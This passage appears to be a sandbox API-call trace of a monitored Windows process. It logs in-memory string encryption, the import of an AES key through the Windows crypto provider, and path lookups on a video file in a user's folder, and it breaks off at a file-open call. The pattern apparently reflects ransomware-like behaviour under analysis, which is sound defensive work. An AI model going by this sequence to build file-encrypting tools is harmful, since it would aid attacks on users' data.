(param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0137.586] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0137.586] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.586] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0137.586] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.586] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0137.587] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.587] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0137.587] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0137.587] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.587] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0137.587] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0137.587] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.587] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0137.587] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.587] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.587] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.587] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0137.587] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.588] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.588] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0137.588] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.588] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.588] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0137.588] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.588] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0137.588] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.588] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0137.588] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.589] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.589] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0137.589] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.589] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.589] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0137.589] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.589] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.589] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0137.589] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.589] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.589] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.590] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0137.590] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.590] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.590] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.590] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.590] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0137.590] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.590] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.590] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.590] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.590] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0137.590] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.590] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.590] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.590] SystemFunction041 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.590] SystemFunction040 (in: Memory=0x8ec00a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec00a4) returned 0x0 [0137.591] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.591] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.591] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.591] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.591] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.591] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.591] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.592] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.592] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.592] SystemFunction041 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.592] SystemFunction040 (in: Memory=0x8e30f44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30f44) returned 0x0 [0137.593] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02360) returned 1 [0137.593] CryptImportKey (in: hProv=0x8e02360, pbData=0x6a2bd68, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e849b8) returned 1 [0137.593] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.593] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.593] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.593] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.593] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.594] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4")) returned 0x20 [0137.595] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ymuqa0xkfms1pqao\\wzos7bt0.mp4")) returned 0x20 [0137.595] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.595] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.595] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.595] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.595] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.595] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.595] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.595] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.595] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\YmuQA0xKFmS1PQAo\\wzoS7bt0.mp4", lpFilePart=0x0) returned 0x70 [0137.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.597] CreateFileW 